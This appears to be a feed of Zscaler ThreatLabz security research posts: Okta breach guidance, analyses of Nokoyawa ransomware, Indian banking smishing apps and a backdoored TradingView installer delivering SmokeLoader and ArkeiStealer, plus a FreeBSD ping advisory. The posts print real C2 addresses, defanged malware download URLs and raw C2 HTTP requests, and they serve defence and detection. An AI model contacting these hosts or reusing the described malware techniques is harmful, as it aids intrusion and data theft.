Guidance and Best Practices Following are some of the recommendations to enhance your security posture against similar scenarios involving your Identity Provider (IDP) and Source code repositories to protect your organization: Ensure MFA is enabled for all users. Consider MFA methods not facilitated by your primary Identity Provider (IDP) for critical systems including hardware-based tokens. Continuously monitor your Source Code Repositories such as Github logs for suspicious activity. Granular Role Based Access Control (RBAC) for your Source Code Repositories, Build Systems and Crown-Jewels to ensure only authorized users have access to the systems. Continually review policies and procedures with any organization involved in your supply chain. Many organizations could be potentially impacted by this type of incident. Run security incident preparedness exercises for incidents just like this (a primary Identity Provider compromise, or an internal codebase compromise) to understand how to respond and what to communicate to whom and when. How can Zscaler protect organizations against this kind of attack? The Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Minimize the attack surface by making internal apps invisible to the internet. Prevent compromise by using cloud native proxy architecture to inspect all traffic inline and at scale, enforcing consistent security policies. This is critical in blocking the prevalent Adversary-in-The-Middle (AiTM) phishing campaign that is actively targeting organization’s Github credentials with ability to bypass MFA. Stop lateral movement by connecting users directly to applications (rather than the network) to reduce the attack surface, and contain threats by using deception and workload segmentation. Stop data loss by inspecting data-at-rest (SaaS) and all internet-bound traffic, including encrypted channels, to prevent data theft including code repositories. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, research.zscaler.com. Wed, 21 Dec 2022 17:56:53 -0800 Deepen Desai https://www.zscaler.com/blogs/security-research/okta-source-code-breach-how-evaluate-impact-protect-your-organization https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust Key Points Nokoyawa is a 64-bit Windows-based ransomware family that emerged in February 2022 The threat group behind Nokoyawa performs double extortion ransomware attacks: exfiltrating sensitive information from organizations, followed by file encryption and a ransom payment demand Nokoyawa was initially written in the C programming language using Elliptic Curve Cryptography (ECC) with SECT233R1 and Salsa20 for file encryption In September 2022, Nokoyawa was rewritten in the Rust programming language using ECC with the Curve25519 and Salsa20 for file encryption The Rust-based Nokoyama ransomware 2.0 provides threat actors with runtime flexibility via a configuration parameter that is passed via the command-line Nokoyawa ransomware was discovered in February 2022, sharing code with another ransomware family known as Karma. Nokoyawa ransomware’s lineage can further be traced back to Nemty ransomware. The original version of Nokoyawa ransomware was written in the C programming language and file encryption utilized asymmetric Elliptic Curve Cryptography (ECC) with Curve SECT233R1 (a.k.a. NIST B-233) using the Tiny-ECDH open source library combined with a per file Salsa20 symmetric key. Nokoyawa ransomware 2.0 still uses Salsa20 for symmetric encryption, but the elliptic curve was replaced with Curve25519. Nokoyawa 2.0 was developed using the Rust programming language and appears to have been created in late September 2022. Nokoyawa is not the first ransomware family to be rewritten in Rust. Previously, the developers of the ransomware families Hive and Agenda/Qilin ported their code from the Go (a.k.a. Golang) programming language to Rust. In addition, the author of RansomExx converted the ransomware code from C++ to Rust. Another ransomware family compiled in Rust is BlackCat/ALPHV. The increase in the popularity of the Rust programming language may be due to its emphasis on performance and concurrency, which can make a ransomware’s file encryption more efficient. Similar to the previous version of Nokoyawa, the Rust variant is compiled only for 64-bit versions of Windows. This blog provides a technical analysis of Nokoyawa 2.0 including its new configuration, encryption algorithms, and data leak site. Technical Analysis Nokoyawa 2.0 cannot be executed without providing the required command-line arguments. When run without arguments, Nokoyawa will print the following help message shown in Figure 1. Figure 1. Nokoyawa 2.0 ransomware command-line help The command-line arguments --file (to encrypt a single file) and --dir (to encrypt a directory) are identical to the previous version of Nokoyawa. However, Nokoyawa 2.0 requires a configuration file to execute the ransomware via the --config command-line argument. The configuration parameter is a Base64 encoded JSON object that has the following keys and values shown in Table 1. Key Value Format Description NOTE_NAME <filename> (will be appended with .txt) Ransom note filename NOTE_CONTENT Base64 encoded text Ransom note content EXTENSION <8 characters> (without a period) Encrypted file extension (also used as the Salsa20 nonce) ECC_PUBLIC Base64 encoded binary data Curve25519 public key SKIP_EXTS JSON array File extensions that will not be encrypted SKIP_DIRS JSON array Directories that will not be encrypted Table 1. Nokoyawa 2.0 configuration parameters The decision by the Nokoyawa malware author to pass a full configuration file via the command-line is a unique design choice. This is indicative that the malware author has developed the ransomware to be flexible for mulitiple threat actors who are likely paid as affiliates to compromise organizations and deploy the ransomware in return for a percentage of the profit. Encryption Algorithms Nokoyawa 2.0 uses Curve25519 (via the open source x25519_dalek Rust library) for asymmetric encryption and Salsa20 for symmetric encryption. Nokoyawa first generates an ephemeral Curve25519 key pair. The ephemeral private key is used to generate a shared secret using a Diffie-Hellman key exchange with the Curve25519 public key that was passed via the config command-line parameter. The result is used as a Salsa20 key and the file extension is used as the nonce, which must be 8 bytes (as described in Table 1). Figure 2 shows an example file encrypted by Nokoyawa 2.0. Figure 2. Nokayawa 2.0 encrypted file content and footer As shown in Figure 2, the 32-byte ephemeral public key (blue) and the 8-byte nonce (red) are appended as a 40-byte footer at the end of the encrypted file. Similar to most ransomware families, Nokoyawa encrypts the file in chunks based on the file's size. If the file's size is less than or equal to 0x80000 (524,288) bytes, the full file will be encrypted. Otherwise the code implements an algorithm that determines the number of blocks and the block offsets to encrypt in the file. Each block will be encrypted in chunks of 0x80000 bytes (yellow) followed by blocks of unencrypted bytes (green) as highlighted in Figure 2. Since Nokoyawa only partially encrypts files larger than 0x80000 bytes, encryption is very fast. ThreatLabz has developed a proof-of-concept tool to decrypt files encrypted by Nokoyawa 2.0 if the Curve25519 private key is accessible. This decryption tool is available in our GitHub tools repository here. Ransom Note As previously mentioned in Table 1, the Nokyawa ransomware note filename and content is passed via the configuration command-line parameter. An example Nokoyawa ransom note is shown in Figure 3. Figure 3. Nokoyawa ransom note Ransom portal Nokoyawa ransom notes contain a link to a TOR hidden service as shown in Figure 4. Figure 4. Nokoyawa ransom chat portal The same TOR hidden service also hosts a data leak site. Currently, only one victim is listed on the site as shown in Figure 5. This may suggest that Nokoyawa is not currently compromising a large number of organizations, or the threat actors may only perform double extortion for a subset of victims. Figure 5. Nokoyawa leak site Conclusion The Nokoyawa threat actor continues to update the ransomware and launch new attacks. The development of Nokoyawa 2.0 using the Rust programming language is likely designed to improve file encryption speed and to better evade antivirus and EDR products. The group has long claimed to perform double extortion attacks without offering much proof, until now. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Nokoyawa at various levels with the following threat names: Win64.Ransom.NOKOYAWA Indicators of Compromise SHA256 Description 7095beafff5837070a89407c1bf3c6acf8221ed786e0697f6c578d4c3de0efd6 Nokoyawa ransomware Rust sample 47c00ac29bbaee921496ef957adaf5f8b031121ef0607937b003b6ab2a895a12 Nokoyawa ransomware Rust sample 259f9ec10642442667a40bf78f03af2fc6d653443cce7062636eb750331657c4 Nokoyawa ransomware Rust sample Tue, 20 Dec 2022 07:19:41 -0800 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/nokoyawa-ransomware-rust-or-bust https://www.zscaler.com/blogs/security-research/2022-encrypted-attacks-report Once upon a time, encrypted traffic was considered the safe, secure option for browsing and doing business online. Going back nine years to December 2013, the Google Transparency Report shows just 48% of worldwide web traffic was encrypted. Flash forward to today, and the volume of encrypted web traffic tracked by Google is up to 95%. However, the threat landscape has changed a lot since 2013, and now we find the majority of cyberthreats lurking within encrypted channels. Hidden in the layers of your encrypted internet traffic are malware payloads, phishing scams, sensitive data leaks, and more. To understand this better, Zscaler ThreatLabz researchers tapped into the Zscaler Cloud and analyzed 24 billion threats from October 2021 to September 2022 to reveal details on threats embedded in HTTPS traffic, including SSL and TLS. The team published the full results of this research in the State of Encrypted Attacks 2022 Report. Leveraging insights from more than 300 trillion daily signals and 270 billion daily transactions in the Zscaler Zero Trust Exchange™, the report shows a consistent upward trend of attacks using encrypted channels—from 57% in 2020 to 80% in 2021, ultimately finding that more than 85% of attacks were encrypted in 2022, with a total attack volume 20% higher than 2021. Other key findings from the report include: 89.9% of encrypted threats involve malware While cybercriminals hide a variety of attack tactics in encrypted traffic, malware continues to be the most prevalent. Malicious scripts and payloads used throughout the attack sequence make up nearly 90% of the encrypted attack tactics blocked in 2022 (see figure 1). Malware continues to pose the greatest threat to individuals and businesses across nine key industries, with manufacturing, education, and healthcare the most common targets. This category includes ransomware, which remains a top concern for CISOs as ransomware attacks have increased 80% year over year. The most prevalent malware families the ThreatLabz team observed abusing encrypted channels include ChromeLoader, Gamaredon, AdLoad, SolarMarker, and Manuscrypt. Figure 1: Distribution of 2022 encrypted attacks classified by threat type The US and India are the top targets for encrypted attacks The five countries most targeted by encrypted attacks in 2022 were the US, India, South Africa, the UK, and Australia. South Africa is a relative newcomer to the list, soaring to the top in 2022 after bumping France from the 2021 top five. A number of countries saw significant upticks in targets year over year, including Japan (+613%), the US (+155%), and India (+87%). Figure 2: Top geographical targets for encrypted attacks in 2022 Encrypted attacks increased against manufacturing by 239% and education by 134% More than doubling in encrypted attacks, manufacturing displaced technology as the most targeted industry in 2022. Attackers appear to particularly favor manufacturing over other industries as a target for ad spyware. It is also one of two industries most often phished via encrypted channels—the other being healthcare. Figure 3: Top industries by vertical targeted by encrypted attacks in 2022 Zscaler secures organizations against encrypted attacks at scale The report’s main takeaway is this: if you’re not looking at encrypted channels, you don’t know if you’re suffering data leaks or if advanced threats are reaching your users. To help our customers stay secure, Zscaler blocked 24 billion threats over encrypted channels in 2022—a 20% increase from the 20.7 billion blocked in 2021, which was a 314% increase from 2020. This shows that cybercriminals are continuing to evolve their tactics to avoid detection and slip past information security teams. Today, most attacks leverage SSL or TLS encryption, which is resource-intensive to inspect at scale and best done with a cloud native proxy architecture. While legacy firewalls support packet filtering and stateful inspection, their resource limitations make them poorly suited for this task. This creates a critical need for organizations to implement cloud native architectures that support full inspection of encrypted traffic in alignment with zero trust principles. Figure 4: TLS inspection provides full visibility to block advanced threats How to protect yourself For defenders, the imperative is clear: all encrypted traffic must be fully inspected (see figure 4) to detect and stop cyberthreats before they cause damage. While we wait for governments, compliance frameworks, and other vendors to catch up with this reality, it will be up to defenders and leaders to raise the flag and champion initiatives to mitigate this common threat tactic. Zero trust strategies and architectures—in which you trust nobody and inspect and authenticate everything—are the most effective way to protect your organization from encrypted attacks and other advanced threats. Zscaler’s tenets of zero trust align with the primary stages of the attack chain. Attacks start with reconnaissance and an initial compromise of an endpoint or asset exposed to the internet. Once inside, attackers perform lateral propagation, including reconnaissance and establishing a network foothold. Finally, attackers act to achieve their objectives, which often involve data exfiltration. Your defenses should include controls for each of those stages: Minimize the attack surface by making internal apps invisible to the internet. Prevent compromise by using cloud native proxy architecture to inspect all traffic inline and at scale, enforcing consistent security policies. Stop lateral movement by connecting users directly to applications (rather than the network) to reduce the attack surface, and contain threats by using deception and workload segmentation. Stop data loss by inspecting all internet-bound traffic, including encrypted channels, to prevent data theft. If you’re looking to minimize the risk of encrypted attacks for your organization, you should consider these recommendations as part of your adoption strategy: Use a cloud native, proxy-based architecture to decrypt, detect, and prevent threats in all encrypted traffic at scale. Leverage an AI-driven sandbox to quarantine unknown attacks and stop patient zero malware. Inspect all traffic, all the time, whether a user is at home, at headquarters, or on the go, to ensure everyone is consistently protected against encrypted threats. Terminate every connection to allow an inline proxy architecture to inspect all traffic, including encrypted traffic, in real-time—before it reaches its destination—to prevent ransomware, malware, and more. Protect data using granular context-based policies, verifying access requests and rights based on context. Eliminate the attack surface by connecting users directly to the apps and resources they need, never to networks. Learn more Download your copy of the full State of Encrypted Attacks 2022 Report to discover more insights and advice for managing encrypted attacks. Wed, 14 Dec 2022 08:01:01 -0800 Deepen Desai https://www.zscaler.com/blogs/security-research/2022-encrypted-attacks-report https://www.zscaler.com/blogs/security-research/security-advisory-freebsd-ping-stack-based-overflow-cve-2022-23093 Background On Dec 01, 2022, a stack overflow vulnerability CVE-2022-23093 was found in the FreeBSD operating system (all supported versions) ping utility. The issue is a buffer overflow vulnerability affecting the “pr_pack()” function in ping(8). The flaw can be leveraged to cause a stack overflow, which could lead to a crash or trigger remote code execution in ping. What is the issue? The following vulnerability details were published in the FreeBSD security advisory Ping reads raw IP packets from the network to process responses in the pr_pack() function. As part of processing a response ping has to reconstruct the IP header, the ICMP header and if present a "quoted packet," which represents the packet that generated an ICMP error. The quoted packet again has an IP header and an ICMP header. The pr_pack() copies received IP and ICMP headers into stack buffers for further processing. In so doing, it fails to take into account the possible presence of IP option headers following the IP header in either the response or the quoted packet. When IP options are present, pr_pack() overflows the destination buffer by up to 40 bytes. What versions are impacted? This vulnerability impacts all currently supported versions of FreeBSD. What can you do to protect yourself? If you are a FreeBSD customer, we encourage you to take the following steps at the earliest: Check to see if your current version is vulnerable. Update to the most recent patched version available In cases where upgrade is unfeasible or not possible, backporting the patch to your current version may be possible, and other mitigating measures can be put in place such as blocking ICMP packets with IP Options via stateful firewalls, restricting ping usage on vulnerable hosts to protected accounts, and implementing a holistic security posture with defense in depth to detect and respond to abnormal activity on hosts. Zscaler’s cloud is not at risk After a thorough investigation, ThreatLabz determined that Zscaler platform service components have not been impacted by this vulnerability. You can read the ThreatLabz trust post here. Additionally, the Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Eliminates lateral movement: Zscaler connects users directly to apps, not the network, to limit the blast radius of a potential incident. Shuts down compromised users and insider threats: If an attacker gains access to your identity system, we can prevent private app exploit attempts with in-line inspection and detect the most sophisticated attackers with integrated deception. Stops data loss: Zscaler inspects data-in-motion and data-at-rest to prevent potential data theft from an active attacker. Vulnerability Details The ping utility invoked with an IPv4 target (IPv4-host or IPv4-mcast-group) uses the ICMP protocol’s mandatory ECHO_REQUEST data gram to elicit an ICMP ECHO_RESPONSE from a host or gateway. ECHO_REQUEST datagrams (“pings”) have an IP and ICMP header, followed by a “struct timeval” and then an arbitrary number of “pad” bytes used to fill out the packet. “ping reads raw IP packets from the network to process responses in the pr_pack() function. As part of processing a response ping has to reconstruct the IP header, the ICMP header and if present a “quoted packet,” which represents the packet that generated an ICMP error. The quoted packet again has an IP header and an ICMP header”, the FreeBSD Project wrote in a security advisory. “The pr_pack() copies received IP and ICMP headers into stack buffers for further processing. In so doing, it fails to take into account the possible presence of IP option headers following the IP header in either the response or the quoted packet. When IP options are present, pr_pack() overflows the destination buffer by up to 40 bytes.” Technical Analysis The ping utility runs in userspace. When a user runs the ping command, it invokes the binary at /sbin/ping. The code is available on the FreeBSD source. The vulnerable function, pr_pack() prints out the ICMP packet response information to stdout, similar to the familiar string: 64 bytes from 8.8.8.8: icmp_seq=1 ttl=57 time=86.4 ms On the network, the ICMP packet (both request and response) looks like this: The headers in the diagram above are the IP headers, with an optional Options field. In an attack case, these IP Options are enabled and filled with non-null bytes. In some cases, for example, if an ICMP packet is malformed or deliberately modified en route to the destination host, and the IP Options are enabled in the original echo request, the vulnerable pr_pack() fails to allocate enough space on the stack to account for the presence of IP Options, instead overflowing the stack. In these error cases, the response from the destination host may also include a "quoted packet" in the data section (which tracks which packet specifically caused the ICMP error), and the pr_pack() function similarly overflows the stack in the case that the quoted packet has ICMP headers. The buffer overflow occurs in line 1156 and line 1161 in the pr_pack() function (defined in ping.c) here: The value of hlen is calculated without checking for the IP options header, assuming the standard IP packet header length of 20 bytes. The memcpy into the icp struct leads to the buffer overflow. References https://www.freebsd.org/security/advisories/FreeBSD-SA-22:15.ping.asc https://vuldb.com/?id.214613 Fri, 09 Dec 2022 17:19:05 -0800 Jithin Nair https://www.zscaler.com/blogs/security-research/security-advisory-freebsd-ping-stack-based-overflow-cve-2022-23093 https://www.zscaler.com/blogs/security-research/sms-scams-trick-indian-banking-customers-installing-malicious-apps Zscaler ThreatLabz researchers recently observed the rise of a sophisticated phishing campaign spreading via fake banking sites targeting big Indian banks like HDFC, AXIS, and SBI. The team will continue monitoring the emerging situation and will provide an update on any significant new developments. Previously, ThreatLabz researchers observed Indian banking customers being targeted with fake complaint forms from phishing sites spreading short message service (SMS) mobile text stealer malware. In contrast, this new campaign leverages fake card update sites to spread Android-based phishing malware aimed at collecting banking information for financial fraud. Campaign 1: Targeting HDFC and Axis banks ThreatLabz researchers observed domains serving links for fake banking application downloads as shown in Fig.1 and Fig.2 below. Fig.1 - Imitation application phishing site targeting HDFC bank customers Fig.2 - Imitation application phishing site targeting Axis bank customers The two screenshots above show how these phishing scammers impersonate banking sites to gain customers' sensitive information by incentivizing them to fill out fake applications to redeem their earned card points for cash or a voucher. In most cases, these sites are being spread through SMS text messages to victims. Once a user clicks on the contained link, the victim is prompted to install an Android-based phishing malware, designed to steal critical financial data. Fig.3 - Phishing page for HDFC bank credit card application Upon opening the app, the user will see the fake page as presented in Fig 3 prompting them to enter sensitive information including card number, expiration date, cardholder name, phone number, DOB, etc., to redeem points for cash or vouchers, shown in the screenshot above. Once the victim submits their sensitive information into the fake form, the malware sends a copy to the command-and-control server (C2) shown in the screenshot below. ​​​​​​ Fig.4 - In-App phishing page creation and C2 On the second run or completion of the prompted tasks, a timer screen is displayed to the user, revealed in the code shown in Fig 5 below. Fig.5 - Final page shown to user as second snap in Fig.3 Upon receiving all the victim’s sensitive form-fill information including card details, the threat actor is now capable of initiating fraudulent financial transactions. All they require to carry out the attack is a one-time password (OTP). To collect the OTP, victims are further prompted to provide SMS permission access to the malicious app at the time of installation. Once the user provides this access to SMS permissions, the malware is capable of exfiltrating received SMS text messages containing the OTP codes they need. To complete a transaction initiated using the user's card details, the application will intercept the OTP codes and forward them to the C2 server. Fig.6 - Writing phishing data in shared preferences and MFA extraction This malware also employs a cloaking technique that prevents it from running a second time. It writes data in the modifiable shared preferences settings using first-time install data written in the “time” object as its reference point to block users from seeing the card phishing page again. Fig.7 - Cloaking to not load phishing page after running the first time Campaign 2: targeting SBI bank customers with KYC verification scam In other campaigns, ThreatLabz researchers observed adversaries sending SMS text messages prompting users to immediately update the ‘Know Your Customer’ (KYC) identity verification banking requirement or conduct another similarly urgent action, to avoid account blocking or lockout. This false sense of urgency created by adversaries is very effective at convincing victims to perform the requested action including downloading apps to perform the task. In the cases observed in this article, all of these requests were fake and the attacks infected users with malicious apps and stole personal banking information. The screenshot below shows an attack in which the user is prompted to download a malicious app to unlock their account. Fig.8 - Smishing campaigns Unlike campaign 1 where applications were seen using in-app fake log in pages, in this campaign SBI bank KYC verification scam, applications rely on command servers to render the phishing pages. ThreatLabz researchers think that this is how the malware authors are able to create new campaigns so quickly, since only a few changes, such as updating C2 destinations, are required to spin up a new campaign. The application starts by prompting users to log in to a fake SBI bank web page and then update the KYC verification, shown in Fig.9 below. Fig.9 - Fake Login page redirect hosted on firebase Users are navigated through a series of web pages hosted on firebase upon entering banking credentials, mobile numbers, etc., shown in Fig.10. Fig.10 - Login data phishing used to steal banking credentials The user is prompted to enter an OTP during each fake update step to make the application appear legitimate, as shown in Fig 11 below, this tactic can also be used to steal the OTP and gain access. Fig.11 - Prompting users for OTP The user is directed to a page and prompted to provide banking information, shown in Fig 12 below. Along with the bank details, the user is prompted to enter their Permanent Account Number (PAN). Fig.12 - Application prompts user to provide sensitive banking information Apart from collecting OTPs through phishing pages, malware developers have also implemented code routines to harvest OTPs from incoming SMS text messages and send them to a secondary C2 as well as a hard-coded phone number, as shown below. Fig.13 - Code to send incoming SMS data to C2 Fig.14 - Testing of SMS data exfiltration to a static number Fig.15 - Traffic showing data upload to a remote server Zscaler sandbox is able to detect malware threat behavior and techniques. Fig 15. Zscaler sandbox report showing detection of malicious applications Zscaler advises users to not install any unknown applications sent through SMS text messages, especially if the messages identify with a financial institution or bank, this is a common practice used by threat actors to impose a false sense of urgency on users to act immediately without additional scrutiny. Indicators of Compromise (IOC) Campaign 1 IOCs Domains: hxxps[://]updateyourcard[.]in/HDFC_Credit_Card[.]apk hxxps[://]cardupdatation[.]in/ hxxps[://]cardupdate[.]in/ hxxp[://]pointincash[.]xyz/hdfc_version1.0[.]9[.]1[.]apk MD5s: df0b9265d07ffe523884f98613db8401 47eebf0d4ab713d53ec9f3b992777c18 a57c255e5e69d843a1c402df96ced959 ce8e95ef802d9943c2ff7abea1aa94da Campaign 2 IOCs Domains: hxxps[://]sheltered-dawn-11337[.]herokuapp[.]com/SBI-KYC[.]apk hxxps[://]sbi-kyc-update-immediately[.]web[.]app/SBI-KYC[.]apk hxxps[://]sbi-users-kyc-1[.]web[.]app/SBI-KYC[.]apk hxxps[://]sbi-user-kyc-app[.]web[.]app/SBI-KYC[.]apk hxxps[://]kyc-update-app[.]web[.]app/SBI-KYC[.]apk hxxps[://]sbi-kyc-apps-v-23[.]web[.]app/SBI-KYC[.]apk hxxps[://]point-dekho[.]xyz/save_sms[.]php hxxps[://]sbi-kyc-app[.]web[.]app/sbi-kyc[.]apk hxxps[://]sbi-kyc-points[.]web[.]app/sbi-kyc[.]apk hxxps[://]sbi-kyc-points[.]firebaseapp[.]com/sbi-kyc[.]apk hxxps[://]sbi-kyc-update-immediately[.]firebaseapp[.]com/sbi-kyc[.]apk hxxps[://]applicationkyc[.]pages[.]dev/SBI-KYC[.]apk hxxps[://]calm-fjord-69600[.]herokuapp[.]com/SBI-KYC[.]apk hxxps[://]calm-garden-42338[.]herokuapp[.]com/SBI-KYC[.]apk hxxps[://]please-visitnow-immediately[.]com/SBI-KYC[.]apk hxxps[://]publicationofindia[.]top/SBI-KYC[.]apk MD5s: 0076369748034430dd9345fecd0d130a f8509e2b72b3ba5916d80888b990b285 f0b6619e42722673e6599471a048edb1 436370a26633fb3a86f2ae2f09bcdb18 1aa0baa0c2fa54a89ecbfe71225726c6 331a9054e877a7210789315f7bcd2620 Thu, 08 Dec 2022 08:30:01 -0800 Himanshu Sharma https://www.zscaler.com/blogs/security-research/sms-scams-trick-indian-banking-customers-installing-malicious-apps https://www.zscaler.com/blogs/security-research/trade-with-caution Threats continue to evolve in their complexity and scale as cyber criminals regularly come up with new ideas and find ways to target their victims. Modern information stealer families such as RedLine, RecordBreaker, ArkeiStealer, Vidar, Satacom, BatLoader are often sold through Malware-as-a-Service (MaaS) models and they continuously update with their varying initial attack vectors. ThreatLabz discovered that threat actors are now distributing ArkeiStealer through Windows Installer binaries which masquerade as a trading application. The trading application is backdoored with the SmokeLoader downloader which further downloads an information stealer. In May 2021 in a similar campaign, ThreatLabz identified a fake TradingView website and backdoored TradingView application associated with the MineBridge RAT campaign [1]. Key Points ThreatLabz was able to flag malicious activity to an IP address based on C2 beaconing characteristics and a low domain and ASN reputation. It also discovered a recently registered domain spoofing the official TradingView website It was able to identify that the actual malware was embedded inside TradingView Desktop Application The actual malware and the C2 IP address flagged were identified as SmokeLoader and ArkeiStealer Technical Analysis ThreatLabz identified C2 beaconing events connected to an IP address, and the team started the threat hunting process. Following characteristics were essential in identifying and flagging the C2 beaconing activities: Frequent C2 beaconing Low domain reputation Newly Registered Domain The process started with the Indicator of Attack (IoA) being flagged and the rest of the process revolved around identifying the TTP of the threat campaign. The IP address “85.208.136.162” was flagged as an Indicator of Attack. The ThreatLabz Threat Intel team immediately validated the IP address as a SmokeLoader C2, as shown below in the following malware configuration in Figure 1. Figure 1: SmokeLoader Malware Configuration During the threat hunting process, the ThreatLabz team analyzed network transactions in a time window around the trigger point to identify the end-to-end attack flow as shown in Figure 2. Figure 2: Complete end-to-end attack chain, used to deliver SmokeLoader and ArkeiStealer While reconstructing the end-to-end attack chain, our team has identified 3 TradingView Desktop App download attempts from the following URL: sxvlww.am.files.1drv.com/y4mqgb...ktaq/tradingvlev_x32_x64bit.zip?download&psid=1 Further analysis revealed the victim searching for the TradingView Desktop Application on the DuckDuckGo search engine, as shown below in Figure 3. Figure 3: TradingView search results with SEO poisoned results On October 6th, 2022, the threat actors registered the domain "tradingview[.]business", a look-alike of the legitimate website "tradingview[.]com". At first glance, “tradingview[.]business” looks almost identical to the legitimate website. While the real website allows users to download clients for Windows, macOS and Linux platforms, the fake website only offers a Windows application. The download link for the malicious TradingView Desktop Windows application was placed on the homepage as shown in Figure 4. Figure 4: Legitimate vs. Fake TradingView website The official and latest version of the TradingView Desktop Application was launched on October 25 2022. The malicious website, however, was registered prior to this on October 6 2022 in anticipation of the release; and the malicious TradingView Desktop Application was launched on October 31, 2022, shortly after the official release. This indicates that the threat actors are diligent in identifying and preparing for such opportunities ahead of time. In addition, they are extremely quick in developing and deploying the attack. Comparing Whois data for both websites, we quickly validated the malicious intent of the fake website. While the original website’s Whois record is legitimate, the fake website redacts most of its registration details as shown in Figure 5. Figure 5: WHOIS records for the legitimate and fake TradingView domain The download link (hxxps://tradingview[.]business/download.php) on the attacker-controlled domain leads to the download of a malicious Windows Installer from the following URL: sxvlww[.]am[.]files[.]1drv[.]com/y4mqgbxmxiwuw8zm66u0rrrpceovu5hvhzmpooyrgnaaafadcqoiy-b3zjggi68kx_kt1c99vy4av6z5hznc6gumfg9hrnozccxmfiifzy6qf0rsqexsduxn06mtqzcccwb_iek8lvhu0wi-zupdr4sjpfack_tipf0psgzy5qw6ryzjdc8ny-zclsu716jxa7l1sss6r2jhl7lcdijpcktaq/tradingvlev_x32_x64bit.zip?download&psid=1 Note: We noticed that the download URL responds with the malicious Windows Installer only if the user-agent string in the HTTP request headers corresponds to the Windows 10 operating system. Otherwise, it responds with HTTP 404 error. Performing technical analysis, we inspected the malicious TradingView Windows Desktop Application with the following information: Name: TradingVlev_x32_x64bit.exe MD5: 467d42eca35c0571c30d3f20700d9dff SHA1: e26512838e6ffb8af84743ae37821694cd380003 SHA256: 9abdfcea109db4763065fee6d3e87299f03f57dba0307c67ad10cd86f0f2acf3 The installer is an executable which masquerades as the TradingView Desktop Windows application and is digitally signed by AVG Technologies USA, LLC. The thumbprint of the digital signature is the following: ThumbPrint: 63fb7fe4f171bd6dde774ae9365d91ac132616af CN = AVG Technologies USA, LLC OU = RE stapler cistodc O = AVG Technologies USA, LLC L = Newton S = North Carolina C = US Here, we compare the legitimate and fake TradingView Desktop application signatures. Figure 6: Legitimate vs. Fake TradingView Desktop applications Upon execution, this installer shows a Graphical User Interface (GUI) which spoofs the TradingView application while it performs malicious activities in the background. It drops a SmokeLoader DLL named “Scintilla.DLL” in the same folder as the TradingView installation folder. The SmokeLoader DLL then creates a copy of itself with the name “bot.exe” on the user’s desktop. SmokeLoader then immediately starts beaconing out to its C2 at the IP address “85.208.136.162” and receives a few download tasks, as shown below: 212[.]8[.]246[.]70/builds/still[.]exe - 16857afad0b6c40469e5d9d9b63a2927 212[.]8[.]246[.]70/builds/still[.]exe - 55552ed60bddd332eee8a23f0494174f 212[.]8[.]246[.]70/builds/installer[.]exe - 4d7f538bf21bf0c42fee87d28d3f3079 212[.]8[.]246[.]70/build/bot[.]exe - 0743250f8bb1a0baa01affcfd963d171 ZScaler ThreatLabz has identified all 4 payloads as ArkeiStealer. ArkeiStealer is an information stealer malware family that was first identified in May 2018. ArkeiStealer is a stealthy and flexible information stealer that is known to harvest confidential data from web browsers, cryptocurrency wallets, and search files for attacker-defined patterns. ArkeiStealer was later forked to create a new variant named Vidar Stealer. This ArkeiStealer payload first obtains its configuration file from the C2 as shown below: GET /1769 HTTP/1.1 Host: 95.217.31.208 HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Nov 2022 15:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive 1,1,0,1,0,30e8151b350f29168e37e1eea06ed1b4,1,1,1,0,0,Default;%DOCUMENTS%\;*.txt;50;4;movies:music:mp3:exe;DESKTOP;%DESKTOP%\;*.txt;50;4;movies:music:mp3:exe; The ArkeiStealer configuration carries multiple flags. It performs distinct malicious activities depending on the flags that are set in the configuration. The usage of a dynamic configuration provides flexibility to extend the malware’s capabilities at any stage of the campaign. As shown below, ArkeiStealer immediately begins downloading well-known and legitimate DLLs in a ZIP bundle that are required to fully execute its tasks. GET /547345733334.zip HTTP/1.1 Host: 95.217.31.208 Cache-Control: no-cache HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Nov 2022 15:21:14 GMT Content-Type: application/zip Content-Length: 2685679 Last-Modified: Mon, 12 Sep 2022 13:14:59 GMT Connection: keep-alive ETag: "631f30d3-28faef" Accept-Ranges: bytes These DLLs are typically used by ArkeiStealer to read information from web browsers. ArkeiStealer downloads and stores below DLLs into the %\ProgramData\% directory. Name Description sqlite3.dll SQLite Database Management DLL freebl3.dll Freebl Network Security Service DLL for Mozilla Firefox mozglue.dll Browser Library for Mozilla Firefox nss3.dll Network System Service DLL for Mozilla Firefox softokn3.dll Part of Network Security Service for Mozilla Firefox msvcp140.dll MS Visual Studio component vcruntime140.dll Runtime Library for Visual Studio Conclusions Information stealing is extremely rewarding for threat actors especially when storing financial and personal information in web browsers is becoming common. Use of legitimate DLL components to perform browser information enumeration and use of dynamic configuration allows ArkeiStealer threat actors to tailor their operation and choose the information they want to steal from the victim. At Zscaler, ThreatLabz team works closely with security research, security engineering and ML scientists to develop tools that augment and empower security teams in tackling complex and evasive threats. After successfully detecting C2 traffic to a malicious server, it was further passed to the Threat Hunting team for end-to-end atack chain construction. The team successfully created an end-to-end attack chain identifying all infection stages which consisted of a DuckDuckGo search, a fake TradingView website, a backdoored TradingView Windows application download, SmokeLoader C2 beaconing and the ArkeiStealer download and C2 beaconing. ZScaler Cloud Sandbox Report Figure 7: ArkeiStealer Cloud Sandbox Report In addition to cloud sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. The Machine Learning Threat Detection Model assists in identifying emerging threats, automatically blocking those with the highest risk scores, and ranking suspicious candidates for further review. Win32.Backdoor.Smokeloader Win32.Pws.Arkeistealer MITRE ATT&CK TTP Mapping ID Tactic Technique T1203 